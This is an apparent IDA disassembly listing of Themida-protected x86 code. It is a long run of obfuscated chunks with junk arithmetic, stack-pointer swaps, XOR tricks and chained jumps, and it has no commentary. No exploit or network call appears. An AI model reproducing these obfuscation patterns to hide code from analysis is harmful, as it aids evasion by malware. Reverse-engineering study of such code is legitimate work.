loc_593990:				; CODE XREF: sub_59F4D4+19F2j
		inc	ebx
		add	ebx, 0DFE5F28Dh
		jmp	loc_592FCF
; ---------------------------------------------------------------------------


loc_59399C:				; CODE XREF: Themida_:0059D277j
		add	ebp, ecx
		jmp	loc_5993B6
; ---------------------------------------------------------------------------


loc_5939A3:				; CODE XREF: Themida_:00599A6Ej
		push	[esp-8+arg_0]
		pop	edi
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xor	eax, [esp+0]
		xor	[esp+0], eax
		xor	eax, [esp+0]
		mov	esp, [esp+0]
		add	edi, 4
		push	ebx
		mov	ebx, esp
		jmp	loc_59216B
; ---------------------------------------------------------------------------


loc_5939CE:				; DATA XREF: Themida_:005909B8o
		push	dword ptr [esp+0]
		jmp	loc_5983E0
; ---------------------------------------------------------------------------


loc_5939D6:				; CODE XREF: Themida_:00591630j
		pop	edi
		xor	esi, 78A91B9Ch
		push	esi
		jmp	loc_5A2CAB
; ---------------------------------------------------------------------------


loc_5939E3:				; CODE XREF: sub_59D9FE-1A84j
		mov	[esp+4+var_4], esi
		mov	esi, 132E0B31h
		dec	esi
		push	7414h
		mov	[esp+8+var_8], eax
		jmp	loc_595575
; ---------------------------------------------------------------------------


loc_5939F9:				; CODE XREF: sub_59BCC8+49FDj
		add	edx, edi
		jmp	loc_5943C5
; ---------------------------------------------------------------------------


loc_593A00:				; CODE XREF: sub_59390B+A80j
		xor	dl, al
		pop	eax
		sub	al, 9Bh
		sub	al, dl
		add	al, 9Bh
		pop	dx
		sub	al, bl
		jmp	sub_591FC5
; ---------------------------------------------------------------------------


loc_593A12:				; CODE XREF: sub_59390B-1202j
		push	edx
		jmp	loc_594F52
; ---------------------------------------------------------------------------


loc_593A18:				; CODE XREF: sub_59390B+5047j
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp-10h+arg_8]
		pop	esp
		xchg	ecx, [esp-14h+arg_C]
		mov	esp, [esp-14h+arg_C]
		jmp	sub_59F8C2
; ---------------------------------------------------------------------------


loc_593A2A:				; CODE XREF: sub_5A0D58-4AECj
		add	ecx, edx
		pop	edx
		push	eax
		mov	eax, 4
		add	ecx, eax
		jmp	loc_5A4402
; ---------------------------------------------------------------------------


loc_593A3A:				; CODE XREF: Themida_:005A1864j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	sub_59B019
; ---------------------------------------------------------------------------


loc_593A4A:				; CODE XREF: sub_59390B+7A15j
		dec	ebx
		xor	ebx, 47FE408Eh
		neg	ebx
		xor	ebx, 0B9B667ACh
		jmp	loc_59630D
; ---------------------------------------------------------------------------
		lodsb
		push	3573h
		mov	[esp-10h+arg_8], ecx
		jmp	loc_593F8A
; ---------------------------------------------------------------------------


loc_593A6C:				; CODE XREF: sub_59E93C-D5C0j
		push	ebp
		push	esp
		jmp	loc_597A2A
; ---------------------------------------------------------------------------


loc_593A73:				; CODE XREF: sub_59F2FC-CAAAj
		and	edi, 433C2B9Ch
		not	edi
		jmp	loc_5A10C2
; ---------------------------------------------------------------------------


loc_593A80:				; CODE XREF: sub_59886E+4908j
		xor	ebx, 2B617150h
		xor	ebx, 0BCD15D1h
		push	esi
		jmp	loc_5A0C62
; ---------------------------------------------------------------------------


loc_593A92:				; CODE XREF: Themida_:0059C974j
		and	eax, 6035660Ah
		shl	eax, 5
		neg	eax
		add	eax, 3CB22734h
		add	esi, eax
		pop	eax
		jmp	loc_59A213
; ---------------------------------------------------------------------------


loc_593AA9:				; CODE XREF: sub_59390B+1170Fj
		pop	edx
		sub	bl, 0EAh
		add	bl, cl
		jmp	loc_599D42
; ---------------------------------------------------------------------------
		push	[esp-0Ch+arg_4]
		pop	eax
		sub	esp, 4
		mov	[esp-8+arg_0], eax
		push	3297h
		jmp	loc_5A0435
; ---------------------------------------------------------------------------
		push	dword ptr [esp+0]
		jmp	loc_5A4A4E
; ---------------------------------------------------------------------------


loc_593AD0:				; CODE XREF: sub_59390B+82BEj
		mov	edx, 18C33B25h
		add	edx, eax
		pop	eax
		jmp	loc_5918B0
; ---------------------------------------------------------------------------


loc_593ADD:				; CODE XREF: Themida_:005A0A31j
		mov	ebp, [esp+0]
		add	esp, 4
		push	2462h
		mov	[esp+0], esi
		push	ebp
		push	edi
		mov	edi, 294607D3h
		mov	ebp, edi
		pop	edi
		jmp	loc_5A5AD5
; ---------------------------------------------------------------------------


loc_593AFD:				; CODE XREF: sub_59390B+974j
		mov	edi, 0B337C08h
		add	edi, 0F4CC83FCh
		jmp	sub_59DD1C
; ---------------------------------------------------------------------------


loc_593B0D:				; CODE XREF: sub_59BF22-43BDj
		pop	edx
		and	ebx, esi
		pop	esi
		not	ebx
		push	2043h
		mov	[esp+0], ecx
		mov	ecx, 20733308h
		and	ebx, ecx
		pop	ecx
		sub	ebx, 207132FEh
		mov	edi, ebx
		pop	ebx
		jmp	loc_599941
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp-0Ch+arg_4]
		jmp	loc_594149
; ---------------------------------------------------------------------------


loc_593B3A:				; CODE XREF: Themida_:0059E908j
		mov	edx, 2
		push	ecx
		mov	ecx, 7BD56988h
		jmp	loc_595B81
; ---------------------------------------------------------------------------


loc_593B4A:				; CODE XREF: Themida_:0059169Cj
		mov	edx, 4DA54141h
		shl	edx, 6
		dec	edx
		neg	edx
		and	edx, 3A812F41h
		sub	edx, 12812F3Dh
		add	edi, edx
		pop	edx
		sub	edi, 4
		xchg	edi, [esp-0Ch+arg_4]
		pop	esp
		jmp	loc_590ED0
; ---------------------------------------------------------------------------


loc_593B70:				; CODE XREF: sub_5A4F4F-C86Cj
		add	edx, 4
		push	edx
		push	[esp-0Ch+arg_8]
		pop	edx
		pop	[esp-0Ch+arg_4]
		pop	esp
		push	esi
		mov	esi, esp
		sub	esp, 4
		jmp	loc_59DAB4
; ---------------------------------------------------------------------------


loc_593B88:				; CODE XREF: sub_59390B+465Dj
		mov	edx, 5D02438Ch
		not	edx
		and	edx, 4C08020Ch
		jmp	loc_599508
; ---------------------------------------------------------------------------


loc_593B9A:				; CODE XREF: sub_59390B+FE95j
		xor	[esp-0Ch+arg_4], ecx
		xor	ecx, [esp-0Ch+arg_4]
		pop	esp
		mov	[esp-10h+arg_8], edi
		jmp	sub_59CFD4
; ---------------------------------------------------------------------------


loc_593BA9:				; CODE XREF: Themida_:00599A08j
		add	ebx, 5A712E29h
		jmp	loc_5A1BE0
; ---------------------------------------------------------------------------


loc_593BB4:				; CODE XREF: sub_59B019+5BD6j
		add	esp, 4
		pop	[esp-14h+arg_C]
		mov	esp, [esp-18h+arg_10]
		sar	word ptr [esp-18h+arg_10], cl
		pushf
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_593BC7:				; CODE XREF: Themida_:005A18E0j
		mov	edi, [esp-14h+arg_C]
		add	esp, 4
		jmp	loc_5922A2
; ---------------------------------------------------------------------------


loc_593BD5:				; CODE XREF: sub_59918B+9B3Cj
		add	eax, 4
		add	eax, 4
		jmp	loc_595FB3
; ---------------------------------------------------------------------------


loc_593BE4:				; CODE XREF: sub_59390B-2506j
		mov	edx, [esp-8+arg_0]
		add	esp, 4
		jmp	sub_594A8D
; ---------------------------------------------------------------------------


loc_593BEF:				; CODE XREF: sub_59390B+B1BFj
		add	ebx, 28810E27h
		pop	esi
		jmp	loc_596826
; ---------------------------------------------------------------------------


loc_593BFB:				; CODE XREF: sub_5A17BF+30BBj
		add	esp, 4
		jmp	loc_59856C
; ---------------------------------------------------------------------------
		lodsb
		push	edx
		mov	dl, 0E0h
		add	dl, 0DCh
		dec	dl
		not	dl
		jmp	loc_595505
; ---------------------------------------------------------------------------


loc_593C16:				; CODE XREF: sub_59F8C2+5ACj
		add	eax, 4
		xor	eax, [esp-10h+arg_8]
		xor	[esp-10h+arg_8], eax
		xor	eax, [esp-10h+arg_8]
		jmp	loc_598D09
; ---------------------------------------------------------------------------


loc_593C29:				; CODE XREF: sub_59CF38-37E3j
		add	ebx, 1AA66ED9h
		add	esi, ebx
		pop	ebx
		push	[esp-14h+arg_C]
		push	[esp-10h+arg_8]
		mov	eax, [esp-0Ch+arg_4]
		add	esp, 4
		add	esp, 4
		add	esp, 4
		sub	esi, 4
		jmp	loc_5A0EF2
; ---------------------------------------------------------------------------


loc_593C52:				; DATA XREF: Themida_:005909BCo
		neg	[esp-18h+arg_10]
		pushf
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_593C5B:				; CODE XREF: Themida_:0059DD7Dj
		add	eax, 4
		add	eax, 4
		jmp	loc_595C89
; ---------------------------------------------------------------------------


loc_593C6A:				; CODE XREF: Themida_:00598117j
		add	dh, ch
		add	dh, 8Fh
		push	cx
		push	eax
		mov	al, 7Dh
		jmp	loc_5A5128
; ---------------------------------------------------------------------------


loc_593C79:				; CODE XREF: Themida_:005A1A67j
		pop	esp
		sub	dl, ah
		jmp	loc_59F44A
; ---------------------------------------------------------------------------


loc_593C81:				; CODE XREF: sub_59390B+BADBj
		pop	edx
		push	0
		sub	[esp-12h+arg_8+2], esi
		pop	esi
		jmp	loc_5931B9
; ---------------------------------------------------------------------------


loc_593C90:				; CODE XREF: sub_593879+9j
		pop	edx
		not	edx
		jmp	loc_5A2C6E
; ---------------------------------------------------------------------------


loc_593C98:				; CODE XREF: Themida_:0059E888j
		pop	edx
		add	esi, ebx
		pop	ebx
		push	4FF6h
		mov	[esp-1Eh+arg_14+2], ebp
		mov	ebp, 4
		add	esi, 22F14F31h
		add	esi, ebp
		push	ebx
		mov	ebx, 0A193E5Ch
		and	ebx, 612405F5h
		jmp	loc_59C328
; ---------------------------------------------------------------------------


loc_593CC2:				; CODE XREF: Themida_:0059A3F0j
		push	esp
		pop	ecx
		push	4811h
		jmp	loc_590F49
; ---------------------------------------------------------------------------


loc_593CCE:				; CODE XREF: sub_5A4CDD-EDF0j
		add	ecx, ebx
		sub	ecx, 7B0B5B7Ch
		pop	ebx
		and	eax, ecx
		jmp	loc_59302D
; ---------------------------------------------------------------------------


loc_593CDE:				; CODE XREF: sub_591A08+6j
		xor	[esp-1Ah+arg_14+2], ebp
		pop	ebp
		pop	eax
		push	ecx
		mov	ecx, 31D03121h
		xor	eax, ecx
		jmp	loc_5A18FE
; ---------------------------------------------------------------------------


loc_593CF1:				; CODE XREF: sub_59390B+B31Ej
		xchg	ebp, [esp-1Eh+arg_14+2]
		mov	esp, [esp-1Eh+arg_14+2]
		push	edx
		mov	edx, 4D8F340Ah
		xor	edx, 4D8F340Eh
		add	ebx, edx
		pop	edx
		add	ebx, 4
		xor	ebx, [esp-1Eh+arg_14+2]
		xor	[esp-1Eh+arg_14+2], ebx
		xor	ebx, [esp-1Eh+arg_14+2]
		jmp	loc_5A2F24
; ---------------------------------------------------------------------------


loc_593D1A:				; CODE XREF: sub_59390B+4AF8j
		mov	eax, 4
		add	esi, 61685479h
		add	esi, eax
		sub	esi, 61685479h
		jmp	loc_5956E9
; ---------------------------------------------------------------------------


loc_593D32:				; CODE XREF: Themida_:0059916Cj
		push	edi
		push	13686612h
		pop	edi
		or	edi, 70DB7A00h
		neg	edi
		jmp	loc_595297
; ---------------------------------------------------------------------------


loc_593D46:				; CODE XREF: Themida_:005962E6j
		mov	ebx, [esp-1Ah+arg_10+2]
		add	esp, 4
		sub	ecx, 4
		jmp	loc_596455
; ---------------------------------------------------------------------------


loc_593D57:				; CODE XREF: Themida_:0059DC39j
		pop	ecx
		add	ecx, edx
		pop	edx
		push	edx
		push	4
		pop	edx
		add	ecx, edx
		pop	edx
		xchg	ecx, [esp-26h+arg_1C+2]
		jmp	loc_5993ED
; ---------------------------------------------------------------------------


loc_593D6D:				; CODE XREF: sub_599294+17j
		shr	ebx, 1
		or	ebx, 57756C62h
		jmp	loc_59E987
; ---------------------------------------------------------------------------


loc_593D7A:				; CODE XREF: Themida_:005A5966j
		shl	ch, 6
		sub	ch, 0FFh
		sub	esp, 4
		mov	[esp-22h+arg_18+2], eax
		mov	al, 0E5h
		xor	ch, al
		pop	eax
		add	ch, 3Dh
		sub	esp, 4
		mov	[esp-22h+arg_18+2], ebx
		mov	bl, 0DCh
		jmp	loc_596D04
; ---------------------------------------------------------------------------


loc_593D9E:				; CODE XREF: Themida_:0059EE7Aj
		xor	esi, 2892A7Dh
		xor	esi, 204A2CE7h
		add	ebx, esi
		push	[esp-22h+arg_18+2]
		pop	esi
		jmp	loc_591F81
; ---------------------------------------------------------------------------


loc_593DB5:				; CODE XREF: sub_591745+BAF9j
		push	5393h
		mov	[esp-1Eh+arg_14+2], eax
		jmp	loc_595C62
; ---------------------------------------------------------------------------


loc_593DC2:				; CODE XREF: sub_59B817+9j
		add	ebx, 4
		add	ebx, 4
		jmp	loc_59536D
; ---------------------------------------------------------------------------


loc_593DD3:				; CODE XREF: Themida_:005976A8j
		mov	[esp-1Eh+arg_14+2], ebx
		mov	ebx, 0
		push	ecx
		mov	ecx, 3E597F84h
		add	ebx, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp-1Ah+arg_10+2], eax
		mov	eax, 1DE553DDh
		shl	eax, 4
		and	eax, 171D7720h
		sub	eax, 3DD87140h
		push	edx
		mov	edx, 1
		sub	eax, edx
		pop	edx
		jmp	loc_5984A3
; ---------------------------------------------------------------------------


loc_593E0D:				; CODE XREF: sub_59390B-1A78j
		inc	edi
		xor	edi, 54DD345Fh
		jmp	loc_5A3720
; ---------------------------------------------------------------------------


loc_593E19:				; CODE XREF: Themida_:00597A66j
		push	ebp
		push	ecx
		jmp	loc_593246
; ---------------------------------------------------------------------------


loc_593E20:				; CODE XREF: sub_59390B+A600j
		pop	esp
		pop	dword ptr [esp+0]
		mov	esp, [esp-8+arg_0]
		mul	cl
		movzx	cx, ah
		push	eax
		push	1099h
		push	esp
		pop	[esp+4+var_4]
		add	dword ptr [esp+0], 4
		mov	eax, [esp+0]
		add	esp, 4
		push	4C3Fh
		mov	[esp+0], ecx
		push	edi
		mov	edi, 294A6029h
		add	edi, 4B390908h
		shr	edi, 2
		dec	edi
		not	edi
		add	edi, 0FFFFFFFFh
		not	edi
		sub	edi, 1D20DA48h
		mov	ecx, edi
		mov	edi, [esp+4+var_4]
		add	esp, 4
		add	eax, ecx
		mov	ecx, [esp+0]
		push	edx
		jmp	loc_5A2A99
; ---------------------------------------------------------------------------


loc_593E7F:				; DATA XREF: Themida_:00590984o
		mov	ax, word ptr [esp+4+var_4]
		push	esi
		jmp	loc_594274
; ---------------------------------------------------------------------------


loc_593E89:				; CODE XREF: sub_59390B+C9BAj
		mov	edx, [esp+8+var_8]
		add	esp, 4
		push	1D9Eh
		mov	[esp+8+var_8], ecx
		jmp	sub_59667F
; ---------------------------------------------------------------------------


loc_593E9F:				; CODE XREF: sub_59EA40-449Ej
		add	esp, 4
		add	edi, 328D7068h
		push	esi
		mov	esi, 331E7588h
		sub	edi, 254117C5h
		sub	edi, esi
		add	edi, 254117C5h
		pop	esi
		jmp	loc_59D942
; ---------------------------------------------------------------------------


loc_593EC2:				; CODE XREF: sub_59B57F+9j
		pop	edi
		pop	ebp
		add	edi, 0FFFFFFFFh
		dec	edi
		shr	edi, 3
		push	61ECh
		mov	[esp+0], esi
		mov	esi, 65C02704h
		xor	edi, esi
		pop	esi
		push	edx
		mov	edx, 5C742FF1h
		neg	edx
		sub	edx, 52E73D08h
		jmp	loc_598E95
; ---------------------------------------------------------------------------


loc_593EF1:				; CODE XREF: sub_59390B+D497j
		mov	eax, 46D70C1Fh
		sub	ecx, eax
		pop	eax
		sub	ecx, 6CA078Dh
		jmp	loc_592471
; ---------------------------------------------------------------------------


loc_593F04:				; CODE XREF: Themida_:0059D9BCj
		not	eax
		xor	eax, 4242A49Fh
		xor	ebp, eax
		pop	eax
		sub	edx, 1FAB7213h
		sub	edx, ebp
		add	edx, 1FAB7213h
		jmp	loc_59BD96
; ---------------------------------------------------------------------------


loc_593F21:				; CODE XREF: sub_59B8C7-9E91j
		mov	edx, esp
		push	edi
		push	ecx
		push	eax
		mov	eax, 21BE2E2Dh
		mov	ecx, eax
		jmp	loc_5A196D
; ---------------------------------------------------------------------------


loc_593F32:				; CODE XREF: sub_5A2FE9-D46Dj
		mov	fs:[edx], ax
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_593F3B:				; CODE XREF: sub_59A958+397Cj
		push	edi
		mov	edi, 1C632907h
		inc	edi
		xor	edi, 46BB6F93h
		sub	edi, 5AD84697h
		add	ebx, edi
		pop	edi
		push	ebx
		jmp	loc_5960EB
; ---------------------------------------------------------------------------


loc_593F57:				; CODE XREF: sub_59F5AB-9599j
		shr	eax, 6
		jmp	loc_59DC94
; ---------------------------------------------------------------------------


loc_593F5F:				; CODE XREF: Themida_:00598DB0j
		mov	di, word ptr [esp+8+var_8]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 2
		xchg	eax, [esp+0Ch+var_C]
		jmp	loc_5987BC
; ---------------------------------------------------------------------------


loc_593F76:				; CODE XREF: Themida_:005A43A3j
		add	esp, 4
		mov	edi, [esp+8+var_8]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		jmp	loc_5A494F
; ---------------------------------------------------------------------------


loc_593F8A:				; CODE XREF: sub_59390B+15Cj
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp-10h+arg_8]
		mov	esp, [esp-10h+arg_8]
		mov	[esp-10h+arg_8], edx
		push	small 65AFh
		mov	word ptr [esp-0Eh+arg_4+2], cx
		push	562Dh
		mov	[esp-0Ah+arg_0+2], ebx
		mov	bh, 0F6h
		mov	cl, 0CEh
		xor	cl, bh
		pop	ebx
		mov	dh, cl
		pop	cx
		add	al, dh
		push	[esp-10h+arg_8]
		jmp	loc_5A53CA
; ---------------------------------------------------------------------------


loc_593FC6:				; CODE XREF: sub_59390B+10FF0j
		mov	[esp-0Ch+arg_4], eax
		mov	al, dl
		push	ecx
		mov	cl, al
		mov	[ebx], cl
		pop	ecx
		pop	eax
		mov	ebx, [esp-10h+arg_8]
		add	esp, 4
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_593FDD:				; CODE XREF: sub_5A2D8D-6AEEj
		add	ecx, edi
		add	ecx, 3EB10208h
		push	ebp
		mov	ebp, 495F0BA4h
		neg	ebp
		sub	ebp, 74EB5485h
		jmp	loc_593436
; ---------------------------------------------------------------------------


loc_593FF8:				; CODE XREF: sub_59390B-771j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+0]
		pop	esp
		jmp	loc_5A40D3
; ---------------------------------------------------------------------------


loc_59400F:				; CODE XREF: sub_59390B+D0FAj
		neg	eax
		jmp	loc_595D98
; ---------------------------------------------------------------------------


loc_594016:				; CODE XREF: sub_592A27+F795j
		mov	[esp+0], ecx
		push	38AA57EFh
		push	dword ptr [esp+0]
		pop	ecx
		add	esp, 4
		push	edi
		mov	edi, 62F4871h
		or	ecx, edi
		pop	edi
		add	ecx, 28020828h
		mov	ebp, ecx
		mov	ecx, [esp+0]
		add	esp, 4
		mov	dword ptr [edx+38h], 66B16827h
		push	ebx
		push	5BF9h
		mov	[esp+0], esi
		mov	esi, 74476A06h
		mov	ebx, 74476A3Eh
		sub	ebx, 28810E27h
		jmp	loc_59EAC8
; ---------------------------------------------------------------------------


loc_594067:				; CODE XREF: Themida_:0059910Cj
		xchg	eax, esi
		dec	esi
		dec	esi
		shr	esi, 5
		push	ecx
		jmp	loc_59614A
; ---------------------------------------------------------------------------


loc_594073:				; CODE XREF: sub_59390B+7C91j
		pop	eax
		sub	esp, 4
		mov	[esp+4+var_4], eax
		push	ebp
		jmp	loc_597E5C
; ---------------------------------------------------------------------------


loc_594080:				; CODE XREF: Themida_:0059C6F5j
		xor	word ptr [esp+8+var_8],	di
		xor	di, word ptr [esp+8+var_8]
		xor	word ptr [esp+8+var_8],	di
		jmp	loc_59123F
; ---------------------------------------------------------------------------


loc_594091:				; CODE XREF: sub_59DD1C-6725j
		add	esp, 4
		add	esi, 3444408h
		mov	edi, [esp+4+var_4]
		add	esp, 4
		sub	esp, 4
		mov	[esp+4+var_4], eax
		push	edx
		mov	edx, 327504EEh
		sub	edx, 327504ECh
		jmp	loc_5A2434
; ---------------------------------------------------------------------------


loc_5940BD:				; CODE XREF: sub_595941+859Bj
		add	edx, 4
		xchg	edx, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		or	edx, eax
		shl	edx, 1
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		push	464Bh
		jmp	loc_594D5D
; ---------------------------------------------------------------------------


loc_5940E0:				; CODE XREF: sub_594C24-1A2Bj
		pop	esp
		pop	[esp+0Ch+var_C]
		push	2EC7h
		mov	[esp+0Ch+var_C], edx
		xchg	ebx, [esp+0Ch+var_C]
		not	ebx
		push	ebx
		push	[esp+10h+var_C]
		push	[esp+14h+var_14]
		pop	ebx
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+18h+var_18]
		jmp	loc_59EE4C
; ---------------------------------------------------------------------------


loc_59410E:				; CODE XREF: sub_59771B+22j
		sub	eax, 4
		jmp	loc_59828F
; ---------------------------------------------------------------------------


loc_594118:				; CODE XREF: Themida_:005A12CBj
		sub	ebx, 0FE1CD1h
		add	ebx, 766F3199h
		add	ebx, 3F076C88h
		pop	ebp
		xchg	ebx, [esp+14h+var_14]
		mov	esp, [esp+14h+var_14]
		xchg	esi, [esp+14h+var_14]
		pop	esp
		shl	word ptr [esp+10h+var_10], cl
		pushf
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_59413F:				; CODE XREF: sub_595BAD+CCA6j
		mov	ebp, 73051BB1h
		jmp	loc_59794A
; ---------------------------------------------------------------------------


loc_594149:				; CODE XREF: sub_59390B+22Aj
		push	edi
		push	esp
		pop	edi
		push	edx
		push	ebx
		push	ebp
		jmp	loc_5938CC
; ---------------------------------------------------------------------------


loc_594154:				; CODE XREF: Themida_:0059D46Aj
		add	esp, 4
		xchg	edx, [esp+0]
		mov	esp, [esp+0]
		imul	ecx
		push	10D6h
		jmp	loc_591BA9
; ---------------------------------------------------------------------------


loc_59416C:				; CODE XREF: sub_592CFC+AA44j
		pop	ecx
		jmp	loc_594587
; ---------------------------------------------------------------------------


loc_594172:				; CODE XREF: sub_59931D+12A7j
		mov	eax, 1
		mov	edx, eax
		push	dword ptr [esp+0]
		mov	eax, [esp+4+var_4]
		push	4EDBh
		mov	[esp+8+var_8], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+8+var_8]
		jmp	loc_597660
; ---------------------------------------------------------------------------


loc_59419A:				; CODE XREF: sub_59731A+E381j
		xor	esi, [esp+8+var_8]
		jmp	loc_59EC9F
; ---------------------------------------------------------------------------


loc_5941A2:				; CODE XREF: sub_59390B+871Bj
		inc	dh
		or	dh, 0C1h
		add	dh, 0BFh
		mov	bl, dh
		pop	edx
		add	bl, 0D2h
		xor	bl, 5Bh
		sub	esp, 4
		mov	[esp+8+var_8], ecx
		push	eax
		jmp	loc_5A03D2
; ---------------------------------------------------------------------------


loc_5941BF:				; CODE XREF: sub_59390B+5798j
		xor	ebx, [esp+0Ch+var_C]
		pop	esp
		mov	edi, [esp+8+var_8]
		add	esp, 4
		sub	esp, 4
		mov	[esp+8+var_8], ebx
		push	2B542C9Bh
		jmp	loc_59C06D
; ---------------------------------------------------------------------------


loc_5941DC:				; CODE XREF: sub_59390B+3E4Dj
		xchg	eax, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		mov	edx, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_5A378B
; ---------------------------------------------------------------------------


loc_5941F0:				; CODE XREF: Themida_:00596AF8j
		xchg	eax, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		add	eax, 58CC198Ch
		push	21D4h
		mov	[esp+0Ch+var_C], esi
		push	200h
		jmp	loc_5A2AA8
; ---------------------------------------------------------------------------


loc_59420D:				; CODE XREF: sub_592E25-792j
		and	eax, 4A076ED1h
		xor	eax, 15F32A63h
		push	ecx
		mov	ecx, 49927F87h
		inc	ecx
		xor	ecx, 3E7E17D0h
		dec	ecx
		add	ecx, 6B556D57h
		push	eax
		mov	eax, 28BF0534h
		xor	ecx, eax
		pop	eax
		sub	ecx, 0AC168251h
		sub	edx, ecx
		pop	ecx
		sub	edx, eax
		jmp	loc_59EE9E
; ---------------------------------------------------------------------------


loc_594244:				; CODE XREF: sub_59390B+F2F6j
		sub	edi, 334A6A5Eh
		pop	esi
		push	4BD8h
		mov	[esp+10h+var_10], ebx
		mov	ebx, 32845664h
		dec	ebx
		not	ebx
		jmp	loc_59AD6E
; ---------------------------------------------------------------------------


loc_594260:				; CODE XREF: Themida_:00592FCAj
		pop	esp
		add	ecx, edx
		push	esi
		mov	esi, 35FE0D47h
		or	esi, 32549Bh
		jmp	loc_59FDA1
; ---------------------------------------------------------------------------


loc_594274:				; CODE XREF: sub_59390B+579j
		push	esp
		pop	esi
		sub	esp, 4
		mov	[esp+0Ch+var_C], edi
		jmp	loc_593AFD
; ---------------------------------------------------------------------------


loc_594284:				; CODE XREF: sub_59390B+33A4j
		sub	esi, 4
		xchg	esi, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], esi
		jmp	loc_59FF7B
; ---------------------------------------------------------------------------


loc_594293:				; CODE XREF: sub_597C8E+9B25j
		add	ebp, esi
		add	ebp, 4F1812ABh
		mov	esi, [esp+8+var_8]
		add	esp, 4
		xchg	ebp, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		mov	cx, word ptr [esp+4+var_4]
		push	37Fh
		mov	[esp+8+var_8], edi
		push	2615h
		mov	[esp+0Ch+var_C], esp
		push	5B3Eh
		mov	[esp+10h+var_10], eax
		mov	eax, 4
		add	[esp+10h+var_C], 19B25850h
		push	0CDh
		jmp	loc_599E10
; ---------------------------------------------------------------------------


loc_5942DA:				; CODE XREF: sub_5999E6-1FEDj
		push	3BA1h
		mov	[esp+18h+var_18], ecx
		jmp	loc_595DEE
; ---------------------------------------------------------------------------


loc_5942E7:				; CODE XREF: sub_59390B+BB3Aj
		add	esp, 4
		xor	ecx, 0F1380703h
		sub	ebp, 161D1ACDh
		add	ebp, 6B3A2DE5h
		sub	ebp, 756B0C27h
		add	ebp, ecx
		add	ebp, 756B0C27h
		jmp	loc_59AF38
; ---------------------------------------------------------------------------


loc_59430F:				; CODE XREF: sub_59D1FC-6577j
		push	ecx
		mov	ecx, 4
		jmp	loc_59E591
; ---------------------------------------------------------------------------


loc_59431A:				; CODE XREF: Themida_:005A4B93j
		add	esp, 4
		jmp	loc_5A1C3E
; ---------------------------------------------------------------------------


loc_594325:				; CODE XREF: Themida_:005A30F2j
		add	dl, bh
		pop	ebx
		push	ax
		mov	ah, 1
		sub	dl, ah
		jmp	loc_594CF4
; ---------------------------------------------------------------------------


loc_594333:				; CODE XREF: sub_59390B+D8E2j
		shl	bh, 1
		jmp	loc_5980B1
; ---------------------------------------------------------------------------


loc_59433A:				; CODE XREF: Themida_:0059A870j
		add	esp, 4
		mov	[edi+eax*4+1], bl
		jmp	loc_59D0D0
; ---------------------------------------------------------------------------


loc_594346:				; CODE XREF: sub_59390B+6ED5j
		push	edi
		mov	edi, esp
		add	edi, 4
		push	esi
		mov	esi, 4
		jmp	loc_59A4FB
; ---------------------------------------------------------------------------


loc_59435A:				; CODE XREF: sub_59390B+1F31j
		add	ebp, 5D2F4570h
		pop	eax
		xchg	ebp, [esp+12h+var_14+2]
		jmp	loc_591556
; ---------------------------------------------------------------------------


loc_594369:				; CODE XREF: Themida_:00595E4Aj
		xor	byte ptr [esp+12h+var_14+2], al
		pushf
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_594372:				; CODE XREF: sub_59390B+3D78j
		push	3D68h
		mov	[esp+0], ebp
		push	44274868h
		jmp	loc_59D840
; ---------------------------------------------------------------------------


loc_594384:				; CODE XREF: sub_59390B+39j
		mov	cl, 4Fh
		mov	dl, 7Eh
		add	dl, cl
		pop	ecx
		jmp	loc_593A00
sub_59390B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E716


loc_594390:				; CODE XREF: sub_59E716+4C2Bj
		pop	esp
		push	ebx
		push	edi
		jmp	sub_5971C0
; END OF FUNCTION CHUNK	FOR sub_59E716
; ---------------------------------------------------------------------------


loc_594398:				; CODE XREF: Themida_:0059A4C4j
		push	dword ptr [esp]
		pop	esi
		jmp	loc_5914CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5943A1:				; CODE XREF: sub_59390B+9D00j
		push	esp
		pop	edi
		jmp	loc_599842
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5943A8:				; CODE XREF: Themida_:0059542Bj
		mov	ebp, 36746C2Ah
		jmp	loc_59C8B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59822A


loc_5943B2:				; CODE XREF: sub_59822A+28CCj
		push	[esp+4+var_4]
		jmp	loc_5A1827
; END OF FUNCTION CHUNK	FOR sub_59822A
; ---------------------------------------------------------------------------


loc_5943BA:				; CODE XREF: Themida_:005996BCj
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_599C06
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5943C5:				; CODE XREF: sub_59390B+F0j
		pop	edi
		xchg	edx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		push	230Dh
		mov	[esp+8+var_8], ebp
		push	451Dh
		jmp	loc_5A5BDA
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
